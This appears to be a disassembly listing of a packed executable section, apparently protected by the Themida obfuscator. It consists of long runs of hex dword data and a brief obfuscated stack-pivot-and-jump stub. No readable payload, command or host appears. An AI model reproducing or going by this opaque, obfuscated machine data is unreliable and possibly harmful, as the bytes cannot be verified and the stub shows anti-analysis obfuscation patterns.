		dd 7C4A2390h, 6FB7B83Dh, 0B1C9C62Bh, 0B8D48407h, 0D6E990A2h
		dd 0D8F3AE75h, 2FFFF6CFh, 494D7E12h, 10A2A5E5h,	0A643D475h
		dd 0DEA51364h, 4E9B15A2h, 0E98DE0C9h, 990B8639h, 0BA98h
		dd 5FE08200h, 49C995DAh, 5EDFA7E8h, 49CA94D9h, 9011F1E8h
		dd 313C4E1Fh, 188263D6h, 9B95A1A2h, 0BFD5AFE8h,	35DCBDA4h
		dd 0E0C33A36h, 5F498D0h, 0DA54E39Eh, 7901C74Eh,	3D7E840Ah
		dd 1F0997BCh, 3DA22EA9h, 0EEC0DDD0h, 7B466B99h,	98375AD6h
		dd 81614890h, 7FD9B405h, 3412C567h, 56EC81F6h, 42C4A217h
		dd 307284EDh, 756585BFh, 925523A2h, 7A4DEh, 0EF5CC800h
		dd 0BF347482h, 0F045C492h, 0C3287383h, 0F146C88Eh, 95126980h
		dd 0A7AFA415h, 91650E63h, 0A8AEA314h, 0A611267h, 0AD88C14Fh
		dd 0FEDDC573h, 0D95EE00Ch, 0A0E1C178h, 0D304884Fh, 28CD5292h
		dd 0FE3F0786h, 0E022D879h, 1162A65Fh, 66F3E6A7h, 5292B1EAh
		dd 593406CDh, 0AEEB9011h, 98B12514h, 4E6C60C2h,	345A2941h
		dd 3E3A05B0h, 0B7B1A2F8h, 1Dh, 0DA5FE07Dh, 0E748C995h
		dd 6F6839A6h, 341D9213h, 4A34h,	20614100h, 0E1ACBECFh
		dd 0D25333ADh, 0F37A105Dh, 0D751EA2Bh, 28BEC2Ah, 2D454A70h
		dd 8D86028Bh, 0AE748117h, 5ABA1085h, 63D0572Fh,	0A8EE780Ah
		dd 68E44447h, 19861264h, 28A37E5Fh, 11B14BCCh, 0D88C2C59h
		dd 5842ABF2h, 0E0591142h, 395DA5Fh, 0A02CAB21h,	96856A37h
		dd 1E4579E8h, 58C3A346h, 0CCE898F3h, 16570CC1h,	0BFFBCB7Eh
		dd 4E1D353Ah, 0CD9524F6h, 8086EB4Ch, 0B102863Fh, 30FA8607h
		dd 8171FFBAh, 0A00DC43Eh, 0D8EBF787h, 365FD05Ch, 0A91CC324h
		dd 0A4FDD9D8h, 0FD90FC1Eh, 80469123h, 27FFBA3Fh, 0B6F294E1h
		dd 1D52E3Dh, 525E2F80h,	32711DC8h, 0C29570CCh, 974BE1D8h
		dd 36816258h, 5874DD02h, 82DF516Dh, 3F07D63Ah, 5DF57AFFh
		dd 5A338007h, 0BE34548h, 66ED3B29h, 0EE1B24Dh, 6385Ah
		dd 5BC05C00h, 4BA8F0F6h, 5CD96026h, 47B4EFF7h, 55DA5C2Ah
		dd 1A6DDFCh, 33433081h,	5D182F7h, 34422F80h, 76D57EF3h
		dd 0ACFC2DC3h, 8251C573h, 0DA5FE090h, 0A7E2C079h, 6229414Eh
		dd 59169B1Ch, 0B0018260h, 7AC0CBDFh, 9FB7B839h,	0D60F9D18h
		dd 2BCD5292h, 44570289h, 0C52A6B3Bh, 93DBB2C8h,	9F1A9D12h
		dd 5292D811h, 9B562DCDh, 5419A2A5h, 8F680395h, 9ED13BEBh
		dd 7A14ED71h, 2A83FF74h, 6A521C6Fh, 38000000h, 1F9A101Ah
		dd 53569391h, 0C559B235h, 3213C769h, 20481031h,	0E13B52BEh
		dd 7562FA65h, 0DA5E24B7h, 0EF7E1459h, 4DCC9A0Dh, 7813A7E8h
		dd 0FBCB0EA0h, 981839BEh, 0FC48BE2Bh, 0D2208A4Ch, 236442B0h
		dd 0F18DBFCEh, 0A744D41Bh, 0A217986Eh, 0F60A5B1h, 55BCA7Eh
		dd 4ACF0000h, 435395C6h, 88C14F97h, 0DD974353h,	0F675173Bh
		dd 0DA5FE044h, 0A5D65ADFh, 0BCD5292h, 0CDDBEF5Eh, 9F71E1D4h
		dd 4C1A8FCCh, 59216CD1h, 3FFA57D8h, 0AD10CC66h,	98F32F7Bh
		dd 45940A0Ch, 9667D3C7h, 0BC3A0BDFh, 0EA5EFD1Dh, 0A43B3954h
		dd 69B1F819h, 362C36DDh, 0DF01E07Dh, 8A0D5A55h,	0D2EA4A21h
		dd 1D312F40h, 4C74ED76h, 50550BBDh, 0C4281692h,	5D233230h
		dd 49155ADBh, 9A1D67C8h, 0A7525419h, 0DCB90C34h, 0A003B3EBh
		dd 6BCE1CC0h, 0BC000000h, 1F9A101Ah, 0E94ECC9Ah, 6B5B26A2h
		dd 0C4FCFC22h, 0FFDCC620h, 0C5657A43h, 5A7BFA7h, 5C301188h
		dd 0F134A1FCh, 5B5B3BAh, 0B4E91A45h, 0A3710BF4h, 0E354D6ACh
		dd 9B75F88Ah, 4236D00Fh, 71AC7A5Eh, 0A8CF810Ch,	30A2DAEDh
		dd 0A1E0D329h, 12Eh, 0AA26B326h, 5E1DB971h, 0ABDCF4C6h
		dd 115E1DB8h, 81724007h, 33056D5Eh, 5FE02658h, 49C995DAh
		dd 5432A7E8h, 470F5ED3h, 521C71C6h, 895960D1h, 86E1AC0Dh
		dd 0F746C9CAh, 23A0EA32h, 37F32D3Ah, 0FE57960Dh, 10956DE0h
		dd 586CC9Fh, 76B7BFB4h,	8E5B8C20h, 0DEB0CD52h, 0E025FDBCh
		dd 93C4488Fh, 0E8CD528Dh, 78084746h, 0EB8138AEh, 5C704C50h
		dd 1265F771h, 0D1572F1Ah, 74270964h, 0CC0B6CAEh, 0F0DD0740h
		dd 0B3BA5C19h, 7B99AAB5h, 0EEB467C2h, 0FA4449AAh, 233738B9h
		dd 7C1EF675h, 59D762D7h, 0B1560F20h, 0BCC8A375h, 60D5E45Ah
		dd 0DBB21B82h, 67BA88DDh, 916B290Fh, 3313E5F9h,	0A1E183E8h
		dd 602B3F50h, 0E82C9430h, 0D7EFBA78h, 0E59FD854h, 22F4A977h
		dd 1E6FC444h, 2EAB2E8Ch, 115ED358h, 0EA2CF279h,	981AEC85h
		dd 4B092D17h, 2E01A5ABh, 384FAh, 0F7CA800h, 9F149462h
		dd 1065A4B2h, 0A3089363h, 1166A8AEh, 75328960h,	0C78FC435h
		dd 7185EE43h, 0C88EC334h, 0EA81F247h, 0A9A8E16Fh, 0DEFDC573h
		dd 0D95EE02Ch, 0CC2D6E78h, 101AF3A7h, 0CB9A1F9Ah, 0DE13EB26h
		dd 7FFD90DAh, 43C0D205h, 0ACA73434h, 5943FFB7h,	446F4274h
		dd 43454AECh, 118DFA85h, 0D425653Dh, 0E7FFBBB9h, 77A94F5h
		dd 6E384F3Eh, 79148B1Eh, 8BA6CCFBh, 9BBF8661h, 0C24DE2F1h
		dd 0DFCA52Ch
		dd 25934976h, 128F3666h, 0CB914179h, 2297DD69h,	87175D8Eh
		dd 0ED42C461h, 5FD0B385h, 96575AEAh, 1246105Bh,	54000001h
		dd 95DA5FE0h, 0F1E849C9h, 66571310h, 84077BEBh,	2F18C9C7h
		dd 0E3C26B53h, 56283451h, 4079F766h, 956B5277h,	0DAD69503h
		dd 76B61567h, 2A9FA824h, 0D69C1957h, 3C6D0355h,	0A30951A8h
		dd 0EA800D62h, 0C712A88Ah, 353ABFFFh, 0E5169A1Dh, 3A0951A7h
		dd 7F3A1558h, 7D1267A7h, 5FE0A6E5h, 210395DAh, 0E0A02CABh
		dd 7F71BEFBh, 0FA0425EEh, 0E92AF8ABh, 18730788h, 0B5D1879Ch
		dd 0A824B1B1h, 0B1B1496Fh, 0FC7DBEC4h, 0B2B9DF73h, 6B08AA82h
		dd 0DADD53D5h, 62D9C956h, 0BBFABEh, 4D0079CBh, 0AEBF3075h
		dd 790435BBh, 0B75978A5h, 880E8AE1h, 736AF60Eh,	83B438FBh
		dd 0EA39D48Dh, 314946AFh, 8E496F41h, 48CD76B8h,	0A614A6E7h
		dd 0F879B9CDh, 7F3304Eh, 255B2C36h, 201h, 0E58EFF25h, 351E9711h
		dd 0E48DE621h, 31228B12h, 0DF94E525h, 0B6F8AF0Ah, 0C0461041h
		dd 0B7F4026Fh, 0C4451142h, 0EC6DFE73h, 73A92760h, 0A95D7CC5h
		dd 78D95EE0h, 0A7CC2D6Eh, 0DA5FE0F3h, 0E748C995h, 0C4F6CF8Ah
		dd 0E28C756Ah, 0C2430B62h, 8690206Dh, 0F343C910h, 0AB461A4Dh
		dd 0FDE4FCDAh, 0E26EB05Fh, 45F8A8A9h, 0EF7E1CFEh, 782C8771h
		dd 0DA5FD250h, 77252556h, 39B77A2Fh, 2F772500h,	96D5C355h
		dd 7317181Ah, 552B03D8h, 760C61D2h, 0AF224B24h,	0F75A62Ah
		dd 0E8CAB873h, 83DFF8A5h, 5C2AAD02h, 0C3F478DEh, 18B8730Eh
		dd 0EE492476h, 3782F822h, 58AFAFB9h, 981FE7F8h,	2D40521Bh
		dd 0FB97932Fh, 0F8DA56C1h, 33A415C6h, 7DF4791Bh, 7E0F60A5h
		dd 950370B8h, 0AA0F90D6h, 0B427F2E5h, 0C7128892h, 0BF347452h
		dd 0FB1DB0ACh, 513E7EDFh, 4E7728F4h, 0AD0F232h,	83152D21h
		dd 328708CEh, 2394115Dh, 3499044Ah, 0E993135Bh,	1F96FDE3h
		dd 0A8E5D3E8h, 38607B26h, 1B77104Dh, 4FA0E19Ah,	94C54B3Eh
		dd 0E920EB14h, 2A477147h, 9B1E9496h, 0FDF02015h, 0F1824123h
		dd 0D3EF16DFh, 0DF7B35h, 56C49D30h, 0D1B2633Bh,	0B557B1BCh
		dd 0C0F97702h, 1500BF07h, 0E32BE883h, 15404DA2h, 0EB2D4F48h
		dd 0E1AE4275h, 9224062Ah, 0BCA5C7AAh, 0D81831FDh, 745239DFh
		dd 7DAFBE33h, 0D25E13A5h, 40A79D48h, 7836B12h, 0F0AA26B1h
		dd 9F14BCF3h, 0AAE03D9h, 2244A02Ch, 677FA47Bh, 3D7EC8C5h
		dd 4ECF97BCh, 0EB24A4E9h, 95478A14h, 8A0648CDh,	36890B51h
		dd 0E0A614A6h, 199D65Bh, 0B32EEE6Ah, 0C581E235h, 6CBE5DCDh
		dd 0E748CA90h, 0FB59E0A6h, 99D34475h, 0A1F7994Ch, 0B00182CCh
		dd 3058731Eh, 8DE9E2AFh, 0C0C6AB0Ch, 0E7BFFA7Fh, 283A53A0h
		dd 0C5602665h, 336E1758h, 76FB3C98h, 278809DDh,	33266h
		dd 31680000h, 0D744E069h, 0EA4FD096h, 0DB5CD9A5h, 0E94ECC92h
		dd 0D758DAA4h, 0E94ED096h, 0DA43DAA4h, 0E54EC995h, 0D95ADEA8h
		dd 89520D94h, 4C281E2h,	83000000h, 0FF5204EAh, 5A042474h
		dd 5C24048Fh, 3DB968h, 24148900h, 81E78957h, 4C7h, 4EF8300h
		dd 5C243C87h, 0BA241C89h, 2D0A3006h, 2EAC14Ah, 49ADBF57h
		dd 0FA213056h, 7E2C15Fh, 0D2EDF281h, 596826DAh,	89000054h
		dd 4832424h, 685B0424h,	132Eh, 89240C89h, 84B89D1h, 2434FF59h
		dd 4C4835Bh
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_61C1D8
; ---------------------------------------------------------------------------
		dd 7AA1F224h, 35CBCBAh,	7A854FA7h, 0B821CCA6h, 7DEECE1h
		dd 0E0FFC503h, 6F0E99B9h, 439200C4h, 794A3431h,	527F4D61h
		dd 2AD4AA16h, 7F14AA11h, 4AF522EEh, 1F853675h, 1A99E59Dh
		dd 21E7D121h, 5EE41DE1h, 70584C70h, 680FDF56h, 26B3C2B9h
		dd 50EEDB1Fh, 6C1C5F69h, 684113C7h, 781B7856h, 39CDED96h
		dd 710AC5FEh, 1FF22556h, 5888D4AFh, 5C11C127h, 4EE1C48Ah
		dd 57ED3DAAh, 2504D423h, 3F92E321h, 638813EFh
dword_688498	dd 0AE8h, 8C30A800h, 0AC2504E0h, 0F8A1A17Bh, 0C381F55Bh
					; DATA XREF: Themida_:0061BEF8o
		dd 63F6h, 0C7D18166h, 0BFC02BA2h, 53F04FA3h, 6603348Bh
		dd 1324E981h, 7AE3F681h, 0CE95E39h, 0B6000000h,	0B8783869h
		dd 3645A253h, 81227C88h, 3DE0E2EEh, 14E922h, 9AAD0000h
		dd 400BD282h, 7ED432CFh, 3D62F336h, 24C526D3h, 0F6812CBFh
		dd 693F039Ch, 5601E680h, 7E9h, 62D3B900h, 2AF9005Dh, 0F503048Fh
		dd 0F03E883h, 48Bh, 3ABF6600h, 10E94882h, 52000000h, 17F20A8Ch
		dd 66A7F4DDh, 1ECD27C8h, 818AFFAAh, 0FF9CBCF8h,	79850FFFh
		dd 0E9FFFFFFh, 0Bh, 1F944ADEh, 1D791C9Ah, 0E99B46CCh, 0Dh
		dd 3406E3F3h, 2	dup(0)
		dd 6C1E900h, 97570000h,	0B05C2A6Bh, 893F4F4Eh, 0A95E2C6Dh
		dd 83445253h, 87993071h, 0E9A84CFBh, 9110F099h,	0F5B44401h
		dd 7819E1A5h, 0C465301Fh, 8C5B849Bh, 0AC06EDDh,	87C869F0h
		dd 3F05B914h, 4C0FAEB7h, 4207F4B2h, 9F0EAFB6h, 5015A9B6h
		dd 0ABFAFAA9h, 0AAAD51FBh, 0A15314h, 5F06F4B2h,	460FEB9Fh
		dd 0E1E2A559h, 0F7B1C406h, 0E96A3B71h, 400D9355h, 5C5A02E1h
		dd 2AF0ED7h, 16A75C5Ah,	0C13A42DBh, 8DE000F8h, 54EC7544h
		dd 44B07707h, 2A7D1E23h, 0E1D1701Dh, 0A1795C5Ah, 0AC4D14E4h
		dd 0E6A45AFDh, 40059514h, 826AD9B8h, 4A76E97Bh,	0D9A5C64Fh
		dd 0B57FCC2Ch, 34350882h, 4A5BFC39h, 56FF01ACh,	5531EAB7h
		dd 59296890h, 5D044DADh, 1B3C94FEh, 2C1930Ah, 6EF0B5E0h
		dd 9EAC2AEAh, 0C45E4B1h, 7C0D2C6Ah, 166B30DBh, 0FF2A0D05h
		dd 8F88D314h, 13000000h, 0B94105B9h, 0D822E896h, 2412A871h
		dd 0C61023DDh, 89F4576h, 5A75CC19h, 11BC6A5Ch, 12056CEFh
		dd 13666C2Fh, 71434578h, 1, 0FFA6B900h,	5C5A755Eh, 7A4427F6h
		dd 847431CEh, 0C101E3DDh, 15C339B4h, 4F4C15A4h,	560EE99Fh
		dd 0A94811A0h, 0AA5418A6h, 0A45813A3h, 5160CDB7h, 0E69ED77Fh
		dd 2D88E269h, 0BFA011EDh, 0AB5418A6h, 0A4ADFC00h, 0A1A84E16h
		dd 63465520h, 897D1E59h, 307E1FDFh, 36C6817Ah, 7E1F8E2Fh
		dd 936B1DD1h, 4F184BD0h, 0F0CEB6A5h, 0C5DCEFFFh, 88362F30h
		dd 3F133AC4h, 7F7930BEh, 0BF5D27D6h, 92AD5212h,	1CFF0265h
		dd 0CC7B792Ah, 0C8916F1Ah, 37872629h, 0ECD88773h, 6DD9CE2Ah
		dd 9392D5E3h, 6BCA9384h, 0E35C5A89h, 0AF75094Ah, 0CEA31E47h
		dd 7A82C5CDh, 9CE04344h, 5B000000h, 0BCA54F18h,	0F8B146FEh
		dd 1B04108h, 9D6B6A52h,	8840A086h, 0CA8D6B1Ah, 896D1BDBh
		dd 837132C0h, 7229F8DAh, 7E302D97h, 8D2C35CBh, 0CD8E661Dh
		dd 844327F4h, 7647B771h, 1BA06737h, 0F6F347D0h,	6F8B3FF8h
		dd 576657E6h, 41BB700Eh, 0AE9D18h, 0D4ADAE48h, 9578CFC7h
		dd 91D64344h, 0E9000000h, 0A28E2FF6h, 0F7C65C5Ah, 0F6AAF38Dh
		dd 0D4978FBBh, 3E05B947h, 0A2926F7Dh, 932229CEh, 96282BCAh
		dd 803E27CDh, 7D7730C9h, 0CD9425D4h, 0D91209F4h, 0CE975F25h
		dd 0D1922C2Fh, 0B9518223h, 755EFFA6h, 85895C5Ah, 7DAF248Fh
		dd 0A8756A87h, 5C5A1109h, 16396841h, 0F35AA468h, 4058A32Ah
		dd 0E6439F18h, 548B96EBh, 5314E2A2h, 5AC96B92h,	0A978735Ch
		dd 4105B9F2h, 7EE190B9h, 4515CDACh, 4102B443h, 22298855h
		dd 88215C5Ah, 1A03619h,	1B000000h, 0BC4405B9h, 0D125E39Bh
		dd 0D17C8B88h, 5C5A7570h, 748242D8h, 4D5D4CEDh,	40FE6199h
		dd 58E9708Ah, 0A93D8E8Dh, 0A253FAFAh, 0AF47FDC1h, 7BC9AEEh
		dd 0E3E2A658h, 0E2640551h, 0EC5B4ACFh, 5AA08021h, 6EF1C85Ch
		dd 0FE52A471h, 0FD503DC1h, 34EE0DC5h, 0FDB63E6Dh, 0BA24D03h
		dd 0E7A15542h, 0ACAF4E17h, 0B9A65412h, 0B4B73F05h, 0FDFDA9F9h
		dd 9F118D54h, 7D0D1336h, 4C233104h, 7F1B6E55h, 6028F697h
		dd 7D2FCF96h, 5C29D881h, 0D6A3CABFh, 0C89582C5h, 0E9476769h
		dd 770748E1h, 7B8548B3h, 9504EAD2h, 6D0581A3h, 5E2C6D3Ch
		dd 6B0B52A8h, 40123BBFh, 9A503AE1h, 8543F360h, 649E871h
		dd 65344367h, 8B1B8E28h, 0A03619DDh, 1EFh, 0AF14121Bh
		dd 0FC5CF5A0h, 8A72BEF7h, 24A1C906h, 9A4B0C93h,	7AAA0A4Ah
		dd 48CA475Eh, 34009336h, 249DEC7Eh, 0F67BDC84h,	0DB9BC25Bh
		dd 1A06D2Fh, 49EEB1E8h,	1B42B271h, 0ED5A4B5Ah, 410C8A39h
		dd 0EEB1E8E0h, 79E0D168h, 8E3D6F7Fh, 0DDCC5594h, 27E3B37Ah
		dd 3EEC8AD3h, 20E595BCh, 3C171D8h, 0A7D26AF3h, 0A27D11F4h
		dd 0A1590DF9h, 299B9E00h, 75F9905Ah, 78000000h,	9C751512h
		dd 0E7683B66h, 0AF76E5D4h, 3ABFBBD0h, 0F11CB9D0h, 28250F9Bh
		dd 6433C736h, 0C1E068EBh, 11FB908Eh, 0E97049A8h, 111F8530h
		dd 0F7978h, 103FBDAFh, 1354AA5Eh, 0C6F72852h, 0F9C80DDCh
		dd 0AF1BE922h, 8C725E8Ah, 5733A6CEh, 3EADF2C6h,	3F845B1Dh
		dd 74EC4510h, 1E28B9DFh, 2A0B5314h, 27FCA57Bh, 602EC3C6h
		dd 6A0B52ACh, 4FD5A3Bh,	46000001h, 0B63E05B9h, 0AB4D0EAFh
		dd 9A4310B3h, 0A6D12047h, 0A97E023Bh, 75B4A51h,	21A47682h
		dd 621039D0h, 750956A4h, 2B224AB2h, 0B154C647h,	0A4F2BB9Ch
		dd 0B74714E6h, 0B24009F5h, 9F5E07F5h, 81584D0Eh, 0A6029C62h
		dd 3EF0AF1Eh, 0CCB8A788h, 485FF66h, 0BA6BEC42h,	0ABD10ABAh
		dd 0A05A10AEh, 0AF4FF9B9h, 0A8B14DFFh, 5A4F4C19h, 5135E613h
		dd 17446595h, 866F92Dh,	94AE912h, 0FF4C776Fh, 9EEE7B35h
		dd 928ECE7Bh, 3B32958Eh, 0D0C5AFFEh, 0A264DF6Eh, 0CD9887C8h
		dd 0CA0BED56h, 8CF028D2h, 5412A423h, 5DFEBFA6h,	0A1BA2DD4h
		dd 25CC748Fh, 792DCD94h, 0B9DB7A23h, 9A737BF0h,	0F9B4420Bh
		dd 0ECA05E07h, 0BFA65A13h, 0B9A6AFFEh, 0F0B94DECh, 8C34057Bh
		dd 7E3F2AF1h, 1EF8E8B3h, 35EFB6A5h, 0EF2ABCC4h,	3B9435E0h
		dd 0EDBC8A04h, 1D1FBB6Ah, 9F06ECE1h, 2E54CA0Bh,	52FB0C43h
		dd 0E5BE4F3h, 10A1C25Bh, 0B9A71879h, 0A824305h,	48F1A5C6h
		dd 51E76839h, 13E16E55h, 29ED7DEEh, 514E1188h, 58E84D84h
		dd 0C00049F7h, 5948579Dh, 0A47A9B0Bh, 1C45D41Dh, 5352A85Eh
		dd 0E4738743h, 65756618h, 84E73C0Bh, 0A9FCB861h, 0C2C651h
		dd 2538108Fh, 2F04E57Eh, 7132883Ch, 711CDA83h, 2FFC68Fh
		dd 0D7842C19h, 24BC1DC8h, 5B027C57h, 7C5724FAh,	8F1EBB52h
		dd 4426F5CCh, 65357486h, 42F059A1h, 50EE7785h, 3CFA639Dh
		dd 0E3420B8Bh, 6B7C5724h, 0C27AE3D2h, 0C001E4B7h, 864426F5h
		dd 0A1653574h, 53E3F059h, 0F0FF6094h, 3, 1804D73Bh, 15A5AC56h
		dd 12A0A951h, 0FEBCA553h, 0EACB54Bh, 8B69F55h, 0EACB53Fh
		dd 0FCBAA359h, 13A3AA4Ch, 23BCA559h, 81E18951h,	4C1h, 4E98300h
		dd 8B240C87h, 52682424h, 8900003Bh, 3568240Ch, 89000063h
		dd 0BE562434h, 4E072016h, 0D9CED7B9h, 8BF13149h, 0C4812434h
		dd 4, 7B3868h, 24248900h, 4240481h, 5E000000h, 700868h
		dd 240C8900h, 0FF08468Fh, 815E2434h, 4C4h, 2434FF00h, 4C48359h
		dd 0F48954E9h, 0E1FD97FFh, 18439874h, 0B8AD0D76h, 7DEF50Fh
		dd 0E0FFC503h, 555763B0h, 6B4B5D14h, 5F946B3h, 64631163h
		dd 172E1391h, 73EDEFA3h, 0F1986C4h, 1D870603h, 785E6D0Fh
		dd 7A58EFE9h, 20B3F5A1h, 55F53B47h, 55CFBE10h, 0B9F90F9h
		dd 76771E9Ah, 607FF136h, 12BCECF7h, 7E9h, 93E8AE00h, 4Ah
		dd 6ECE9h, 70A04500h, 0D917D05Bh, 69A74308h, 0DC14D358h
		dd 6BA54407h, 0DA246D56h, 2B00D10Fh, 0DD6E83BDh, 2704D50Bh
		dd 0CC7081BFh, 0E3FF6FE2h, 0F303AE63h, 2CE48049h, 15CB9718h
		dd 2D456745h, 33AF1C67h, 0E465FDh, 6FF9C2D0h, 38748DB1h
		dd 3619AF39h, 0EC7D3E1Eh, 580C9F34h, 73F3D4A8h,	0D48E0CDAh
		dd 0D69AEB7Fh, 15654765h, 0ED7DB334h, 79143313h, 0D9E33EDh
		dd 7754A55Bh, 9E1F33EDh, 308210C0h, 0BDE92921h,	73CFCDA9h
		dd 2145F763h, 68FC3CD4h, 6206A4B8h, 4B27551Eh, 0C3A5E827h
		dd 0E5E6BC0Dh, 0F870DF05h, 0FEA9BD1Bh, 30EE7E20h, 1DD39314h
		dd 84BC2693h, 1B232B36h, 0D5D7A9BDh, 0E6D35D7Dh, 0B2ADC57Bh
		dd 85C873BEh, 34A087A7h, 66BDEC6Eh, 8ABFA7AAh, 71013FA9h
		dd 5FF212D0h
		dd 3E4AA4EFh, 0DF731113h, 0ADD7787Ch, 4AA4AAA2h, 304E503Eh
		dd 5C28E73Dh, 0D839930Ch, 3C18850Dh, 0E8BBDF15h, 0A725FBh
		dd 256D0000h, 0F1BB8F41h, 64021BC8h, 9C7ACAACh,	64C895C0h
		dd 4757373Dh, 0EC22E4B6h, 0CCF27ABDh, 1266174Ah, 4BA6EA4Dh
		dd 1EA90DFh, 14000000h,	0FD33AF1Ch, 61F12FBCh, 4D16A7C3h
		dd 65FEBF93h, 90E41CC8h, 1CA6F492h, 0BD16C545h,	0E21EC6A9h
		dd 64429492h, 7D3EE808h, 832131EFh, 578956E7h, 60E87749h
		dd 96A9BD16h, 0E29CBC98h, 93C3C186h, 45F415C7h,	0ED7B408Eh
		dd 0E9811F33h, 0F36E8F58h, 0D50EFE51h, 0F2B4A9BDh, 1AA8F294h
		dd 0BDD5C747h, 0E41CC8A9h, 62449290h, 0F34F8161h, 6EFBC062h
		dd 6804A2B2h, 0D10FD7h,	0BBA61CF6h, 0A9BD16B3h,	3C0D6547h
		dd 0A42573ADh, 26360EC2h, 3E0EC2A5h, 5637D850h,	9E84558Bh
		dd 0B7934D1Dh, 0B2C27EE6h, 0CB9F5111h, 1C1B3C18h, 93E029E8h
		dd 892Ch, 44255600h, 0AE47546h,	63FE05DCh, 9DFF9DADh, 1ECA6BFFh
		dd 0E090D8E2h, 2CF783B0h, 9991C0CAh, 1DA9BD33h,	0F913E37Fh
		dd 0D693FA1Dh, 0D0F9C91Ah, 0B66AF716h, 0CEA608A6h, 0E6B46CFDh
		dd 7C8703E5h, 98EE4171h, 9BBB97F5h, 0BF934D1Ah,	3007482Ch
		dd 93DF60CCh, 6010h, 44253A00h,	2DBDFE8Ch, 0A9C15FF3h
		dd 7C7EE8C9h, 0EAC61649h, 0E860EF88h, 0EA9BD29h, 34CA6E10h
		dd 4B0DC35Bh, 0CBC696F8h, 6E3AA6Dh, 0E7C57BE7h,	42250412h
		dd 5793BE8Eh, 0BED251DDh, 54E7313Dh, 66A5EBD6h,	18A1A576h
		dd 3C49848h, 0FB99A967h, 0F1A4C199h, 155BDC7Bh,	5BC798B9h
		dd 1, 9F4525A3h, 0BD16B8B0h, 3E603EA9h,	27D98D2Eh, 6CAB8753h
		dd 3A8F4121h, 1096D08Bh, 8AA4F6Fh, 0B6A9F795h, 0E70F9484h
		dd 4F741642h, 0C140612Bh, 0BC5AEA26h, 445782DAh, 816D49D5h
		dd 0A15F08B1h, 3C77D3D1h, 5ED0CA72h, 0FC504EA0h, 21DF8932h
		dd 34EC7849h, 0A8580C9Fh, 0BE254E1Ah, 0D7E4EECAh, 0A1705B7Bh
		dd 89CEF052h, 0DA6AA640h, 6635203Ch, 0B2D1560h,	408DD77Fh
		dd 3AC43352h, 2337E979h, 0AF2ED85h, 0E17718E3h,	0BC2D8E20h
		dd 232B3684h, 0D7A210EFh, 0B6597DD5h, 0DE7FEDCEh, 9DADCF01h
		dd 2E263FFh, 4125FDCEh,	0A59A5015h, 83442052h, 931D2DE3h
		dd 163A321Dh, 0DEC0A210h, 0EF21C586h, 96B9AD5Bh, 9D1DCDEEh
		dd 0FAD0BF8Fh, 0D1A1030Dh, 0DFBD73F0h, 70A4AB77h, 0D65129Ch
		dd 6378A83Ch, 32EFFE72h, 1FF4288h, 3F8C0000h, 2F22703Ch
		dd 34F9D8A3h, 7572FEB2h, 0E5D809E1h, 8A409556h,	290A5A3Ch
		dd 0D46E83BDh, 0A27E7CE7h, 2B7A1D14h, 7E3F1B79h, 991A2AE6h
		dd 7E3F13CDh, 9C1D2DE3h, 7DB32FCEh, 0D4304B1Fh,	58885A33h
		dd 16882604h, 30B566Ch,	0B7A15548h, 0D6795DF5h,	510E2FB7h
		dd 9ECFD9Fh, 8AF7D183h,	0ADC9h,	413FF100h, 8A301F69h, 0D3FC414Dh
		dd 28EB639Eh, 0A6428713h, 0FC09BF24h, 405E5A93h, 0C4C23924h
		dd 6EFA5039h, 7FF4913Bh, 8CEA82A6h, 6F8E59DAh, 3B593BF5h
		dd 0E2991C27h, 0BEE852B4h, 0A8E1C445h, 0B88C4423h, 0D30DD9DAh
		dd 2BC9A17Fh, 0DC86337Dh, 82353524h, 0CBC93024h, 47C7446Fh
		dd 0A76C81C1h, 0D475053Bh, 7C8ADA16h, 0AA0D63A4h, 601E89CEh
		dd 0B218404Ah, 0A76DE599h, 50623C18h, 3242FE6Bh, 7C1AD691h
		dd 0FB68F5E0h, 0B9F7B00Eh, 0C9CB3567h, 0BCF757Eh, 0DEC00EE2h
		dd 0D094350Dh, 0FA794420h, 45000000h, 1B64E47Bh, 0FC9A9EE7h
		dd 3C3FAA60h, 0C8992270h, 0EA7AB635h, 1CFA4A2Ch, 0A3EB7640h
		dd 3A139BE6h, 0E56C77CDh, 0C7096DF9h, 0BEA25E09h, 0BC981A4Dh
		dd 6353038Fh, 0DC061831h, 80CC3C13h, 34F2D75Ch,	2DBFFA52h
		dd 0C63A31FAh, 9F2C7638h, 5E3C10C0h, 9155F606h,	0F968515Fh
		dd 0DD753347h, 4425A67Ch, 82DAB88Ch, 57EB25C1h,	0F0C1D86Ch
		dd 0E528896Fh, 0C890E647h, 13BB09F8h, 0FD86DE68h, 0BB0EBCE4h
		dd 8464E7C3h, 0AB37F84Ch, 8247E575h, 0AE1A2AE6h, 9CDB95BAh
		dd 5E0687C8h, 0D59451A2h, 0ACC070F2h, 4F0290EEh, 25C5EC44h
		dd 22DE8B30h, 0BDF85452h, 0EDA665D5h, 0EC5CF3BDh, 1297A662h
		dd 0AF9A3814h, 7D92B1E4h, 0ABBF5D11h, 0D6A65A0Ah, 0BEE92E0Ah
		dd 0AEA1EFBBh, 59EAC18Dh, 9DF18DD8h, 293722ACh,	9D705072h
		dd 0C0944C1Ch, 95D8AE2h, 1C337D0Bh, 71D84A2Ch, 0D778D4D2h
		dd 0BBA61C1Fh, 0A9BD16B3h, 16D4540Bh, 2CEAA9BDh, 0F960FC9Ah
		dd 52602A82h, 1679F160h, 9F7DA9BDh, 0B7934D1Ah,	0F954E67Ch
		dd 6FE2D0FFh, 0E00154FFh, 0E492103h, 5CCD34A5h,	24D634Dh
		dd 44BDB50Ah, 6B56EEB0h, 499D1D56h, 59E9AB3Bh, 0C6D40CD8h
		dd 9AAA6605h, 3C0F60FCh, 1AD695A8h, 0DE8D2E7Ch,	0F8545222h
		dd 8ACCEDD8h, 0F593075Fh, 6E4EB9B6h, 5B0AE943h,	0B0888205h
		dd 8A461E6Fh, 3EF27239h, 619F4774h, 9DCD11h, 78386D62h
		dd 9D1E3E16h, 0B8DECCCEh, 6EC367A1h, 0A8398210h, 7C46E478h
		dd 958165E5h, 5FFB993Ch, 30EFC38Fh, 46FA6754h, 34C99D2Eh
		dd 3BDA7EB2h, 1603FC0Eh, 901BB0CEh, 248E1CD4h, 95523D2Dh
		dd 87E3C13Ch, 3BC67h, 57C60000h, 9040253Fh, 0B56BFBBCh
		dd 8E4224A5h, 0B16FFDBEh, 8F4120A1h, 0B16FFABBh, 8D4320A1h
